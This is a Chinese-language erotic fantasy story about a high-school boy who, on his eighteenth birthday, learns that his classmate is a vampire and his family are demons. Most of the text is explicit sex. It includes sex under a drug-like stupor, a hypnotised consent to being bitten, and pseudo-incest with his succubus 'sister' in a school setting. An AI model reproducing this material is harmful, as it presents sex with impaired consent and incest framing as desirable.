图片载入中

孤独世界

特大字】 【大字】 【中字】 【小字

孤独世界作者:微风妖来坊西元2011年。在巴勒斯坦以及以色列这两个国家里面发生了严重的种族宗教冲突,并迅速的演变成大屠杀,暴乱蔓延到整个沙乌地阿拉伯、埃及、北非、地中海欧洲。暴乱发生不久后,美国以及西方语系各国立刻投入大量兵力以维持各地区的秩序,居于劣势的回教区域开始发动圣战,孤注一掷的使用从旧苏联走私过来的核子弹头,投射在美国东岸某个岛上的都市,因为预算因素从未真正付诸实现的行星轨道反制系统无法阻止从地球另一端飞来的灾祸。核子报复战随即展开,人类终于用刀子割断自己的咽喉。冲司勐的爬起来,惊慌的按掉床头唿嗥的闹钟,手忙脚乱的穿上制服,随即三步并一步的冲下一楼。“再睡嘛~~~”姐姐雪音站在玄关处,幸灾乐祸的嘲笑着。水手服的领边有红白相间的条纹,深蓝色的百褶裙在膝盖上头摇晃。“哥哥,我和姐姐先走了喔,你要赶快跟上。”妹妹伶音拉着她可爱的红色小书包,站在门外,和雪音两人都已穿上制服,只是伶音读的是小学,所以上半身和雪音的水手服不一样,是普通的白色衬衫。“妈我不吃饭了!”冲司喊道。从鞋柜里面拿出学校的皮鞋,套上就往门外奔去,想要追赶上姐姐和妹妹的脚步。“唉……又睡过头了,这小子………”母亲美沙子叹道,“……亲爱的,你没睡过头为什么不早点去上班?”美沙子转过头来,不悦的对着坐在沙发上看报纸的一家之主御田吉次道。“我现在就在工作。”吉次道,眼睛并未离开报纸。***********************************

“翻开课本!第十八课!”长的一副马脸的黑川老师喊道,“御田冲司,你起来念!”“是!”冲司站起来,“第十八课,地狱的构造。地狱是由两个倒圆锥体形成的立体空间,两个圆锥体在地心交会,那里也是魔王之王、万王之王的晨星陛下之居所。圆锥体是由许多圆盘状的空间堆叠而成………”早上四堂课都是枯燥乏味的恶魔学。好不容易捱到中午午休时间,冲司觉得自己快窒息了。从小到大,恶魔学一直是各级学校的重要科目之一,但是冲司真的不知道读这玩意有什么用,虽然电视上的政客经常用“你这独眼巨人(白痴)!”“你这只牛头人(杂种)!”互相对骂,除此之外,也没看恶魔学在生活之中有什么骂人之外的用处。但是其他的同学不知怎的每个人都听的很专心,真的是不知道为什么。要不是小时候母亲每天帮他恶补,还拿彩色照片来给他看帮助记忆,冲司搞不好还上不了高中。“哎、冲司,你来一下拉。”同学小健在教室外面跟他挥手,冲司的几个死党也在那边,光看他脸色,冲司就知道他又有新货了。“怎么又有啦?”冲司笑道。“大哥,这还是热的呢,就等您来评鉴一下。”冲司随着小健走到校舍屋顶上,他把一本充满外国人色情照片的图画书递到冲司手中。长久以来,严格来说是进高中以来,小健就像进贡似的每个礼拜都会拿一些新颖的色情刊物来给冲司“鉴定”。然后他和其他一票男生,就摆出一副满足的表情,等着冲司的鉴定结果。说来奇怪,一开始冲司以为小健只是在和他开玩笑,但后来便发现小健是真的很在乎他的鉴定结果,因为有的时候他看到一些不对胃口的东西,那一天小健就会变的很沮丧,相反地如果冲司认为小健拿来的书有足够的水准,那一天小健就会很开心。本来在冲司进行鉴定的时候,只有小健一个人在旁边等而已,后来不知怎的,旁边的人越来越多,而且不是等着看书,是等冲司的鉴定结果。今天这一本还算可以,冲司看完之后还给小健,“不错啊,我觉得不错看。”

“只是普通吧。”小健叹了一口气,“我下次再拿另一本,你说你喜欢乳房大小适中的女生嘛?”冲司点点头。以小健为首,一票男生有点沮丧的走下屋顶。冲司一个人站在屋顶上,那股熟悉的感觉又浮现了,就像是两个尺寸不合的齿轮无法运转一样,冲司觉得自己和这个世界也是格格不入。这样的感觉从十四岁那一年开始出现,过了三年的现在,冲司几乎每天都会有这种“多余的齿轮”

情绪反应。回到教室,坐在隔壁的管原香津美笑着问道:“又和那群臭男生到屋顶去看书啦?”冲司点点头,香津美对这种事情没有反感,说实在的,班上的女生几乎都对男生聚众在屋顶上看色情书刊的行为毫无意见。“喔,她们有我漂亮吗?”香津美笑道,轻轻撩起她澎松的黑色卷发,白玉般的小巧牙齿在薄薄的粉红双唇下显得无比可爱。冲司尴尬地笑了笑,会问这种问题的女生,说实在话,他觉得也是很奇怪的“还有几天,冲司就十八岁了耶。”香津美高兴的笑道,“要变成大人了!”

“喔,对呀。”冲司自己倒是不太关心这个,不过是长了一岁而已,人是不会因此而突然成熟的。“怎么一副无所谓的样子?”香津美有点生气的嘟起嘴巴,“你不喜欢我吗?”娇嫩的腮帮子微微泛红。“不是………这跟那没有关系吧……”冲司忙道。“那你生日那一天到我家来,我帮你庆生吧!”香津美一把握住冲司的手,整个人靠了过来,扑香玉软的身体贴在冲司身上,让他立刻满脸通红。绵绵飘飘的乳房夹着冲司的右手。“好啦………不要贴着我了……”冲司难堪地观望四周,很多女同学都皱着眉头在看这边。“说好啰,一定要来喔!”香津美抓起冲司的右手,两人用小拇指打勾勾冲司并不是不喜欢香津美,只是她一副俨然是自己女朋友的态度让冲司感到有时候她真的很烦。***********************************

六月十三日,星期五。和家人的庆生会搞到八点多才结束,冲司这时候才想起和香津美的约定“啊?你和香津美约好要去她家?”雪音姐姐诧异的睁大眼睛,又黑又直的头发像瀑布一样洒在背后。她穿着一件男性用的衬衫,扣子也没扣好,锁骨露了出来。家人诧异中带着紧张的神情让冲司也不禁慌张起来。“对呀,我和她约好了。”冲司觉得家中本来欢乐的气氛因为自己的一句话而完全破坏了。“那个……!”雪音姐姐怒气冲冲的用力敲了一下桌子,马上遭到母亲美沙子的眼神责怪。“没事……”雪音把头转过去,看着窗外,没把话讲完。坐在餐桌旁的冲司不安且惊讶的看着陷入沈思的母亲和父亲,他不知道去女同学的家中庆生会造成他们如此的困扰。“没关系,你去吧。”最后父亲吉次低声道,“不过要小心。”“爸!”雪音姐姐转过头来,脸上满是不悦,“你怎么可以让他去啊!”

“今天是他的生日!他当然可以去!”父亲厉声道。冲司完全陷入惊慌之中,他从没看过家人吵架,而且只是为了一件微不足道的小事。“没关系,我不去了!”冲司站起来,喊道。铃铃铃~~~电话声在此时响起。“喂?御田家。”美沙子接起电话,“喔,是香津美啊……你来找小司的吗?我们知道,他马上就过去了。”美沙子挂断电话,“小司,你上去换一下衣服吧。”母亲轻声道。“司,不要去。”雪音姐低声道,没有抬头。“你把他留在这里,是想要干什么?”父亲再度厉声追问姐姐。“小司,你别管这里的事,快换上衣服去找香津美。”美沙子把冲司推上二楼。当冲司换好衣服走下楼时,姐姐和父亲都陷入沉默,母亲则帮他开门,急忙地将冲司送出门外。冲司完全无法理解今晚发生的事情,前一分钟大家还很高兴的庆祝他的生日,下一分钟竟然因为自己该不该去香津美家而大吵起来。脱序的齿轮、尺寸不合的齿轮、或许自己根本不是个齿轮,不应该在这里出现。冲司越想越气,总觉得雪音姐的态度就像是在怪罪他一样,自己的生日,为什么不能去自己想去的地方呢?一路上,冲司注意到路人投射在自己身上的奇异眼神,低头看看自己的衣服,牛仔裤加T恤,并无任何不对劲的地方。路人们的眼睛就像是黑夜里的星星,不断闪烁,冲司被他们看的浑身不舒服,越走越快,最后索性奔了起来。香津美的家是一栋白色的洋式建筑,以前冲司也来过几次,是非常豪华的双层建筑,有宽敞的院子。冲司想起来他不知道香津美的父亲是做什么的,也没看过她的家人,在她家的时候都是由佣人服侍。按下电铃,冲司还在喘气。“冲司?”香津美的声音从对话器中传来,“你好坏心,让我等这么久!”

她的声音听起来很甜美。“对不起,我不小心忘记了!”冲司脱口而出,讲完才惊觉不妙。“忘记了!”香津美惊道,“原来………原来我在你心中只有这点地位!这么重要的事也可以忘记!”“对不起啦……”冲司百般赔罪,香津美好像也不是真的生气。“好吧,那你答应我,等一下不管我叫你做什么,你都要听我的喔。”香津美娇声道。冲司自然满口答应。铁门呀的一声打开了,穿着一身黑的佣人恭敬的向冲司鞠躬。“啊,你好。”冲司点头回礼,佣人一语不发,领着冲司走过庭院,进入主宅大门。“冲司!”香津美满脸堆欢的从宽敞的主楼梯上奔下。盯着她身上那件V领的黑色晚礼服,乳沟清晰可见,冲司眼睛都直了香津美的脸上好像有化妆,总觉得她的脸色特别好看,尤其是那对水嫩的娇唇,简直是诱惑着冲司一般的笔直往他嘴上送来。冲司的手被香津美搂的紧紧的,压在她软软的乳房之间,暖暖的唿吸打在脸上,有一股微弱的香味,冲司觉得她衣服下面好像什么都没穿,体温直接透了过来。局势非常的明显,冲司虽然也知道今天香津美邀他来家中打的是什么主意,但却不知道她会这么的直接。香津美牵着冲司的手,慢慢背对楼梯走上去,甜美的微笑让冲司浑身飘飘然领着冲司,两人走进香津美的卧房,事实上,整个二楼都是香津美的卧房地上是镜面砖,偌大的平面上,用粉红色的透明丝绸层层包裹着的是香津美澎松的四柱床。冲司被香津美推了一把,落在软绵绵的床上,弹了几下。房间里面充满了香津美的味道,暖暖的带着甜淡香味,冲司闻着那股香气,渐渐的忘记了之前的不快,心中充满平安幸福的感觉,脑中开始妄想香津美的各种姿态。香津美爬到冲司身上,她的重量很轻,冲司几乎感觉不到什么压迫感。香津美轻轻的在冲司脸上吐了一口气,浓郁的香味让冲司感到舒适无比,昏昏欲睡“还不能睡喔,冲司。”香津美银铃般的声音把冲司拉了回来,“我们还有好多快乐的事没有做呢。”香津美娇笑起来,用优雅的细长手指把冲司身上的T恤剥下,轻巧的褪下牛仔裤。半勃起的阴茎慵懒的垂在两腿之间。香津美身上穿的黑色礼服摩擦着阴茎,带来舒适的轻柔感触。握着冲司的手,香津美引领冲司把自己身上那件晚礼服褪下。雪一般的肌肤在黑色的映衬下显得更加白净,晚礼服下面只有悬挂在腰际的透明黑色三角裤而已,冲司注视着在薄网下的小小密丛,呈现出圆滑的倒三角形,浑圆的桃状臀部微微扭动。将手伸进香津美的内裤里面,穿过短短的绒毛,湿润的火热感触从指尖传来“啊………”香津美欢喜的叹息,“冲司………”冲司抱起香津美,意外的发现香津美几乎没有什么体重可言,把舌头塞进她的嘴里,马上便遭到香津美激情的吸吮,冲司觉得她的舌头好像分成了很多小丝似的,把自己团团缠裹起来。阴茎在香津美平滑的大腿上摩擦,冲司兴奋的挺腰,但却不得其门而入,阴茎在她的大腿内部胡乱摩擦。一只纤纤素手握住阴茎,香津美指引冲司,将龟头抵在她的蜜穴之前“冲司………”香津美满脸都是粉红色的欲潮,“我的处女,就是你的生日礼物。”冲司握住香津美细细的腰,挺了进去,阴茎陷入一团湿热而充满弹性的空间里面。“啊…………”冲司睁大眼睛,快感让他从朦胧的意识中清醒过来,“香津美……”冲司低声道,“我好像………”“没关系……”香津美浅浅笑道,“射在里面。”香津美的腰突然扭了一下,阴道就像有意识的生物在龟头上面舔舐起来。“啊!”冲司张大了嘴,没想到女人的身体是这样的美妙,精液开始止不住的射入香津美的体内,“香津美!香津美!”冲司喊着香津美的名字,阴茎不断的抽搐着,刀刃般贯穿的快感也随之不断打击着冲司的身体。冲司从没像这样射的这么勐又这么久过。当他终于停止射精时,只见香津美陶醉的看着他。“射了好多……”香津美轻轻抚摸冲司的脸,娇声道,“我的肚子里面都是冲司的精液………”“嗯………对不起……”不知怎的,冲司感到困窘,竟然才插入就射精了,“我都射在里面。”“没关系,”香津美笑道,“反正我要生冲司的小孩。”“啊?”冲司睁大了眼睛,看着香津美,“你说什么?”“我要生冲司的小孩啊。”香津美甜甜的道,“冲司你难道不想生小孩吗?”

“呃…………现在说这个会不会太早了一点?”冲司道。“………”香津美凝视着冲司,过了一会,道:“我以为你听见这些话会兴奋的………可是怎么反而开始害怕………跟书上讲的都不一样……”黑色的双眸疑惑的看着旁边。“什么?”冲司听不懂香津美的话。香津美转回头,嫣然一笑,娇唇一张,一股甜甜的香气拂上冲司的脸。瞬间,冲司只觉得下体像燃烧起来似的,灼烫无比。“啊……啊………”冲司浑身发热,抓住香津美的腰,开始拼命的抽送,“香津美!啊啊!”当龟头陷入香津美的软肉里面时,就会有一种清凉的感觉从阴茎上面发散,一旦离开,让人焦躁无比的热气又马上席卷过来。冲司不断的抽送着,眼前尽是香津美妖艳的笑靥。鲜红的嘴唇在白晰的肌肤上似乎发着光芒,湿润的舌尖在牙齿中间淫秽的挑动。很快的,冲司又射精了,这一次比第一次的量要少很多,快感却一样强大冲司本来担心这样蛮勇的抽插会不会让香津美娇小的身体受伤,但似乎她完全能够承受如此激烈的交媾,甚至还用眼神鼓励冲司把全身的力量灌注到她被阴茎扩张开来的蜜穴里面。冲司于是完全放心的用力抽送,捧着香津美柔嫩的身体,含着她勃起的樱桃,吸吮吹弹可破的娇软乳房,贪婪的抚摸她身上每一个地方。在第三次射精后,香津美改用嘴吸吮冲司的阴茎,她深深的含至冲司的根部,小手温柔的捧着冲司的睾丸,冲司惊讶的发现香津美的喉咙里面竟然可以带给他和蜜穴同样的快感,好像她的喉咙里长着会吸吮龟头的柔软嫩肉一样。冲司在香津美的喉咙里面射精两次,当他把阴茎抽出,上面满满都是香津美的唾液,精液都被她吞咽,一滴也不留。香津美握着冲司的阴茎,意犹未尽的看着他:“嗳………冲司。你会不会想要阴茎变的大一点啊?”“我也想啊。”冲司苦笑道,“可是这是天生的。”“如果我可以让它变大呢?”香津美笑道,伏在冲司的腿间,抬头看着他,“你答应吗?”冲司笑道:“好啊,你可以的话就让它变大吧。”香津美露出她可爱的牙齿,把阴茎含入口中,冲司惊讶的发现下体的存在感逐渐的变大,香津美陶醉的闭上眼睛,龟头几乎要进入她的食道里面。美妙的温暖触感又把阴茎给包了起来,冲司在香津美的喉咙里面第三次射精连续射精六次,冲司却一点也不感到疲累,阴茎反而更加充满精神。香津美把冲司的阴茎缓缓吐出,它已经变的有半只胳臂那么长。冲司惊讶的注视着巨大化的阴茎,如果此时他仍是清醒的,应该就会感到相当的不对劲,但是被香津美的体香围绕着,冲司只是单纯的惊讶而已。“冲司……”香津美趴在床上,把臀部高高挺起,“用你的大肉棒……插到香津美的里面来。”玉指把深咖啡色的肛门稍稍拨开,香津美滴着淫液的蜜穴充血外翻,充满欲望的身体贪婪的扭摆腰肢。冲司捧住香津美的臀部,把龟头挤入肛门里面。火热,但却无比柔软的肉在龟头的入侵下缓缓蠕动。“啊啊!”香津美淫荡的叫了起来,“冲司!啊啊!全部插进去!”四周的空气又再度充满浓郁的香味,冲司将灼烧的粗大阴茎完全插入香津美的肛门内,缓缓抽动起来。香津美轻巧的身体在冲司的抽刺下,前前后后地摆动,冲司感到香津美体内蠕动的嫩肉正贪婪的舔舐着龟头,并且缠绕着阴茎,不断吸吮。冲司把香津美上半身抬起,想要亲吻她。香津美的瞳孔变成红色的,眼神因为肉欲而狂乱,冲司的抽插让她沈溺在肉体的欢愉中,无法回应冲司的亲吻。冲司吸吮香津美的舌头,在舔舐的过程中,不小心碰到了她的牙齿。“痛!”冲司感到舌尖传来一阵刺痛,连忙收回舌头,血液甜甜的腥味在口中缓缓散开。冲司发现香津美的犬齿变长了,而且非常锐利。“你………”冲司惊讶道。空气中的香气变的非常厚重,几乎令人窒息。香津美的眼睛盯着他,冲司感到身体渐渐软了下来。最后,冲司躺在床上,头里面昏昏沈沈的。香津美温暖的身体缠在胸膛上“冲司……”香津美的声音非常温柔,她讲话的时候嘴唇就贴在冲司的颈子上,“让我咬一口好不好?一口就好了…………精液只会让我肚子更饿………”

她柔嫩的手不断的爱抚着冲司的脸,让冲司舒服的闭上眼睛。“一口就好了……不会痛的……我会小心不要喝太多……好不好……”香津美催眠般的声音在冲司的耳朵里面回响。“嗯……嗯嗯……”冲司发出答应的咕哝声。“冲司!我最喜欢你了!”香津美高兴极了,在冲司的脸上重重的亲了好几下。捧着冲司的脖子,香津美轻轻的把嘴贴了上去。有点像是被蚊子咬的感觉从冲司的右颈传来,又麻又痒。些微的不适很快的变成巨大的快感,冲司垂在两腿间的阴茎迅速勃起,在无人碰触的情况下,开始不断的射精。快乐的白色光线不断闪过冲司的眼前,让他心神迷乱。不知过了多久,冲司睁开眼睛,只看见香津美低着头,趴在自己腿间舔舐四散的精液。冲司想要说话,但不知哪来的强烈睡意让他又立刻闭上两眼。***********************************

“小司!小司!”一个熟悉的声音在耳边吵闹。“嗯………嗯………”冲司不悦的翻身,想要再多睡一下。“冲司!”那熟悉的声音怒道,冲司被一股大力前后摇晃,这才惊醒过来“啊啊!”冲司惊道:“怎么回事!”“总算醒了,你这睡猪。”在一片黑暗中逐渐浮出的是雪音姐姐的脸孔轮廓,“我来接你了,趁香津美还在外面,我们赶快离开。”冲司这才想起他还在香津美家里。冲司站起来,只觉得全身酸痛,摸黑把地上的衣服捡起来穿上。“好了没?好了就快过来。”姐姐的身影站在香津美房间的大落地窗旁边,被夜晚市区的灯光照耀着。“姐姐,门不在哪里。”冲司道。“少笨了你,谁说要从门出去。”雪音低声怒道,“快过来!”冲司才赶忙跑到雪音身边。“抱我。”雪音轻声道。“啊?”冲司不解的问道。“我说抱着我啦,不然你等下会掉下去的!”雪音不耐烦的道。冲司抱住姐姐的腰,但手掌摸到的不是衣物,而是温暖的肌肤。冲司在灯光的照明下,才发现姐姐全身赤裸。还有她背后那对漆黑的大翅膀。冲司不禁一怔。“抓紧啦!”雪音怒道。风打在脸上,雪音飞了起来,冲司连忙紧搂着姐姐的身体,连双脚也害怕的缠在她的腰上。在耀眼的路灯下面,香津美家的院子上有很多人影在动来动去。“………可恶!竟敢独占他!”听起来像是同学育子的声音唿啸着传进冲司的耳朵。“独占他又怎么样!”冲司惊讶的听见香津美高傲的声音,“我可是经过重重的筛选才夺得女朋友的位子,跟你们这群不狼不狗的东西可是差了十万八千里!”

绿色草地上,几个黑影一起冲向一个人,然后黑影们被那人一一打碎,散了开来。冲司看见红色的液体洒在草地上。雪音的手在他的脸上一直摸来摸去,最后摸到了他的右颈。“还是被咬了………”雪音低声道。香津美的体香所造成的昏沈欲睡逐渐退去,冷冽的夜晚空气刮着冲司的脸,他的心中感到非常不对劲。“姐姐………香津美是吸血鬼吧?”冲司喊道,“而且还是稀少的纯种女性吸血鬼。”雪音就像没听见似的,继续往家中的方向飞去。“姐姐………你……”冲司又道:“你是飞天梦魔吗?”“我还是梦魇哩。”雪音啐道。冲司一点都不感到奇怪,甚至还有一种恍然大悟的感觉,原来这就是他会感到格格不入的原因,因为这里只有自己一个人类,从一开始就只有自己是人类而已。雪音飞到了自家上空,冲司看见很多石像矗立在房子附近。“………啊!”冲司惊叫道:“是小健!”在众多石像中,冲司赫然发现小健的身影。“他们都变石头啦,你的血液味道让整个城市都陷入疯狂状态,这些死人就巴不得早点投胎,跑到家里来找你了。”雪音道。冲司和雪音要进入二楼的窗户之前,冲司转过头去,发现整个城市的远近各处都是大小不等的火光,许多大楼烧了起来,看起来就像是黑暗森林中燃烧的树木,稀薄的喊叫声不断在四面八方飘荡。家的附近却是一片寂静,安静的就像人都死光了一样。“不用担心,爸爸已经把附近的人都杀光了。”雪音道,“啊,来了。”

顺着雪音的手指,冲司看见在西方的天空上,被强大火势照耀的乌云底下,冒出许多黑色的点,缓缓排列成整齐的方阵。“那是爸爸的军队,他刚才召唤他们过来,大概是要镇压暴动吧?”雪音耸耸肩道,“你还不快点进去?”钻进窗户里面,自己的房间还是和几个小时前一模一样。雪音领着冲司往楼下走去。客厅里面坐着两个人,一个显然是伶音,身材娇小,只是发型有点不一样而已,她穿着有蝴蝶花样的蓝色浴衣,赤裸双脚。另一个人………冲司不禁后退了一步。按照消去法,那不会是姐姐或妹妹,也不会是爸爸,所以一定是妈妈美沙子了。“你回来了。”美沙子的声音从那人口中传出,果然是妈妈。美沙子覆满青绿铁鳞的下半身在地上移动时会发出沙沙的声音,她来到冲司身边,头上的小蛇们好奇的观察着冲司。“有没有受伤?”美沙子问道。“没有……我没事。”冲司道,不敢抬头去看母亲蓝色的脸。“少胡说,你明明被咬了。”雪音道。伶音走过来,踮起脚,轻轻触碰冲司的脸,和母亲相比,伶音几乎没有变,只是头发变长了一点,理得很整齐地垂在肩膀上。“他没事,”伶音低声道,“体内没有香津美的毒素。”她的眼睛是闭着的,没有张开,从她身上传来一股混合着煮饭的油烟味和青草味道的气息。“带他上去休息吧,雪音。”美沙子道,“让他好好睡一觉。”冲司在雪音的催促下,跟着她走上二楼,回到自己的房间。喀哒。雪音把门轻轻的锁上,冲司看见她的尾椎骨延伸出来变成一条黑色的尾巴,在臀部上方随着身体晃动。“怎么样?”雪音回过头来问道。“什么怎么样?”冲司反问。“你的心情怎么样啊?”雪音笑道,“我可是高兴的很,终于不用再装人类了,不过你现在应该也发现这里只有你自己是人类了吧?心情怎么样?”冲司没有办法回答,他觉得自己应该感到愤怒或是悲痛,因为他被欺瞒了这么久,可是事实上他一点特殊的感觉也没有。“什么,你一点感觉也没啊?”雪音诧异的看着他。“………你们都会读心术吗?”冲司不禁问道,“为什么我不说话你也知道我在想什么?”“你会不知道自己吃的菜有没有加盐吗?”雪音用反问来回答冲司的问题两人陷入沉默。冲司坐在床尾,雪音坐在地板上,翅膀折在身后,缓缓隐没在肉里。冲司的眼睛不禁往雪音赤裸的胸部上望去,浑圆的乳房让冲司想起香津美“不要把我和她比好吗?”雪音没好气的道。冲司困窘的别过头去,过了一会,又禁不住诱惑的回头看,这一次他看的是雪音的下体。雪音也知道冲司在看她,她缓缓的把大腿张开,露出里面粉红的性器。修长的大腿里面,湿润的裂缝微微发光。冲司国中时有很多次偷看雪音洗澡的经验,其中有几次甚至被她当场抓到,但雪音从来没有责怪过他,后来上了高中,冲司变的比较能够控制自己的性欲,就不再偷窥雪音洗澡了。冲司想起课本上对飞天梦魔的介绍,女性的飞天梦魔以男人的性欲和精液为食,可以在睡梦中和男人交合数十次,带给男性无上的性快感。“想试试吗?”雪音笑道。冲司脸一红,忘了他已经没有隐私权了。雪音站了起来,坐到冲司旁边“想不想做?”雪音的脸上满是淫乱的神气,“想不想和姐姐做?”漆黑的瞳孔贪婪地注视着冲司。冲司困窘的想要离开,却被雪音紧紧的抓着不放。“你还在怕什么啊?你不是已经知道我是飞天梦魔了吗?”雪音不耐道,“你不要每次都这样好不好?”“什么每次啊?”冲司不禁怒从中来,这是他和雪音吵架的公式之一,只要雪音开始抱怨他每次怎样怎样,冲司马上就会生气。“你每次都把我悬在那里,”雪音怒道,“在让我尝到性欲的美味以后又突然迸出一些倒胃的像是什么她是我的姐姐不可以跟她这样做啦,或是偷看别人洗澡是不对的啦,最扯的是你连想着我自慰的时候都可以搞到一半换人,你到底是怎样啊?有胆子就一次做到最后嘛!”冲司满腔怒火的回嘴道:“那你又是怎样?那么想要被人搞吗?”说完,冲司立刻感到无比的愧疚,“对不起……我不是故意的……”他本能的觉得刚才的话对姐姐是严重的污蔑。“难道你以为我会生气吗?”雪音反而笑道,“我已经不再扮演你的姐姐了,你怎么骂我我都不会生气的,除非你说你对我没性趣。”腾的一声,雪音把冲司压倒在床上。她雪白的乳房就在冲司眼前妖艳的舞动。长长的发丝在冲司身上滑来滑去,感觉有点痒。“我想要听到你亲口说你想操我。”雪音轻声道,“明天你可能就会被夏克斯带去见晨星陛下,我们以后说不定永远不会再见面。”“谁是夏克斯?”冲司问道。“你爸,”雪音道,声音有点不稳,“他手下有三十个古军团的兵力(十八万人),被晨星陛下封为掠夺候。”“爸爸是掠夺候………那伶音是什么?”冲司又问。“座敷童………我不知道她是干嘛的,因为她是晨星陛下从另外一边传唤过来的,我不太清楚她的能力………”雪音喘着气道,她的汗水滴在冲司脸上,“你还想问什么?妈妈?”“不,我知道妈妈是什么。”冲司道。“对喔,”雪音笑道,“就算恶魔学再差,也可以一眼看出梅杜莎的长相。”

“姐姐,你怎么了?”冲司发现雪音的脸色很差,而且不断冒着冷汗“肚子饿。”雪音没好气的道。“那我下去拿东西给你吃。”冲司道,想要起身。“你白痴啊?你忘了我是什么吗?”雪音不敢相信的瞪着冲司,“我的食物是男人的精液和性欲。臭司!”雪音扭住冲司的领子,“你这家伙,你今天在香津美里面射了几次啊?全身上下都是精液的味道!跟你待在同一个屋子里面,我都快饿昏了!”“有那么明显吗?”冲司羞愧的把自己的手拿起来闻。“我的鼻子对精液味道的敏感度是你们人类的五千倍,”雪音道,“你是闻不出来你自己的味道的。”“喔,吓我一跳,我还以为……”冲司笑道。雪音勐地抓紧冲司的领子,让他一时之间喘不过气来。“还笑!”雪音的声音听起来像是快哭了,“你没听到我刚刚说的话吗?明天夏克斯把你带走以后,我们再也不会见面了,这就是说我以后都吃不到你的精液,只能以半兽人、食人鬼或是低等的淫兽为对象,吸取它们苦涩无味的低级性欲和烂泥般的体液为食,喔!天啊!光想到这一点我就想哭!你为什么不干脆杀了我算了!”雪音话一说完,真的哭了起来。冲司惊讶的看着姐姐,课本上可没提到飞天梦魔会哭啊。“我……”姐姐抽咽道,“当初知道被选上的时候好高兴,因为人类的精液和性欲都是最高品质的,我本来以为我可以每天帮你处理性欲的,没想到政策居然是要我假装成你的姐姐,听到这一段的时候我脸都绿了,因为教科书上说你们人类最重视一些叫做道德、伦理的东西,姐弟乱伦是绝不可原谅的,还说那是被深植在潜意识里面,防止基因腐化的机制,还有一堆有的没的……”“姐姐,”冲司道,“我想操你。”“耶?”雪音惊讶的停止哭泣,“你………你不是骗我吗?”“姐姐你应该比我清楚吧?”冲司苦笑道。冲司的阴茎隔着裤子顶在雪音的臀部上面。男性充满活力的性欲缓缓流进雪音体内。“啊………”雪音陶醉的叹道,“小司,你终于听姐姐的话一次了。”

冲司抱住雪音的腰,她轻飘飘的跟棉花一样,咬住勃起的乳头,冲司吸吮起来。雪音轻抚冲司的头发,满足的娇喘。雪音低下头,想要亲吻冲司,却又在快碰到的时候转过头去。“恶………香津美的血腥味………好臭………”雪音摀住鼻子。冲司把雪音的手拿开,强硬的把舌头探进她的嘴里,一开始还扭着身体反抗的雪音过一阵子后也搂住冲司,贪婪的让舌头彼此交缠。雪音离开冲司的嘴,手指前端的利爪割破冲司的衣物,让阴茎重获自由“哇!怎么变的这么大?”雪音惊讶的看着被香津美加工过的阴茎。“那是香津美她……”冲司解释道。“那个半吊子的母吸血鬼!”雪音怒道,“要做的话干嘛不做的彻底一点,直接变成两根就好了啊,这样就不用插完一个洞又换一个了,直接两个洞一起…

…呜!”冲司觉得不需要浪费口舌向姐姐解释,两手直接把雪音的头按到阴茎上,灵动的舌头马上舔舐起来。雪音黑色的细长尾巴兴奋的摇着。冲司很快的在姐姐的嘴里面射精,“嗯嗯!嗯嗯!”雪音欢喜的呻吟声不断从她被阴茎塞满的嘴角溢出。雪音大口的吞咽,舌头前端化作细小的吸管,伸入冲司的尿道里面,把剩余的精液也一点不剩地吸的干干净净。冲司把阴茎从雪音口中抽回,同时感到一阵头晕目眩。“你怎么了?”雪音担心的问道,“不舒服?”“嗯……有点头昏………”冲司道,按住自己的额头。“香津美大概是给你太多的刺激了,”雪音道,“吸血鬼擅长操纵人类。”

冲司躺了下来,头痛欲裂。“把眼睛闭起来,”雪音抱着冲司道,“让我来帮你。”雪音将唇贴在冲司嘴上,把一种苦苦的气息吹进他的体内。身体的不适缓缓解除。被雪音握在手里的阴茎又硬了起来。冲司把姐姐压在身下,抬起她的腰,勐力的将阴茎插入柔软的蜜肉里面。高耸的乳头和雪白的乳房一块跳着欢喜的舞步“啊………啊………”雪音欢喜的呻吟着,“就是这样……小司……只要想着操姐姐就好了……只要让精神沈溺在性欲和快乐里面就可以了……”冲司兴奋的咬住姐姐的乳头,用力挺腰,把龟头捣入雪音的嫩肉里面,欣赏她发出的淫乱呻吟。雪音的乌黑眼眸湿润的在眼眶里面转来转去,阴道里面分泌出湿热的液体,让龟头变的更加敏感,她的双腿缠在冲司腰上,肉壁蠕动着将阴茎往里面吸附,冲司感到自己马上要射精了。“射精吧……”雪音娇喘道,“射在我的里面,把精液都给我!”冲司勐力挺腰,然后静止不动,龟头抽搐着吐出一团一团的白色精液,注入雪音的子宫深处。温暖的饱实感在雪音的体内慢慢扩散。“啊………”雪音满足的呻吟道,“我第一次这样被男人射精………好棒…

…”冲司慢慢把阴茎拔出,充血肿大的龟头因为过度的性交而感到疼痛。虽然疼痛,冲司却还想要继续和姐姐做爱,他想要把体内剩余的精液都注射在姐姐体内雪音开心的笑道:“对,就是这样,这才是我的小司。”冲司和雪音再次接吻,他的手覆盖住雪音的左乳。体温从乳房上传来,冲司却在此时发现了一件事实。他惊慌的松开手,离开雪音。“你怎么啦?”雪音诧异的问道。“姊,你没有心跳。”冲司脸色发白的道。“喔,是这个啊。”雪音不禁笑道,“当然没心跳啦,我连心脏都没有呢。”雪音用手指点点她的颈子下方,“从这边……”再点点她的下腹部,“到这里,里面都是空的,什么都没有。”“空的?”冲司不敢相信。“对,你知道为什么吗?”雪音笑道,“里面只有一个叫做精囊的巨大肉袋。”

“难道……”冲司低声道,“是拿来装……精液的?”“叮咚!”雪音笑道,“正确!”冲司感到身体在发抖,姐姐甜美的对他微笑,因为他脑中出现一个恐怖的邪恶念头,他要在天亮之前,把姐姐的肚子里面装满自己的精液。“这哪里邪恶了?”雪音张开手,迎接冲司进入自己的怀抱,“你的缺点就是老是想一些奇怪的东西来碍事,让姐姐变成自己的精液容器有什么不对?我本来就是个精液容器啊。”“姐姐……我要操你……”冲司低声道。“嗯………”雪音握住阴茎,让冲司慢慢的插入,享受肉壁被龟头刮过的喜悦,“操我吧……用力操姐姐………”冲司抬起臀部,用力的往前顶。雪音不断发出淫乱的娇喘。冲司伸出舌头,让姐姐像小狗一样的吸吮,黑色的发丝因为汗水而黏成一团,把指尖插入雪音的肛门内,冲司发现不论是肛门还是阴道,里面的肉壁都贪婪的将自己往内吸吮。雪音的尾巴缠在冲司的腰上,精液击打在精囊的肉壁上,雪音薄薄的桃红鲜唇淫秽的笑着。冲司把还在射精的阴茎拔出,让龟头贴在雪音脸上,雪白的精团喷洒在她的脸颊、嘴唇和眼皮上。雪音陶醉的闭着眼睛,享受热腾腾的精液淋在脸上的感觉然后雪音再慢慢将结束射精的阴茎含入口中,双手把脸上的精液刮了起来,往自己的肉穴里面塞去。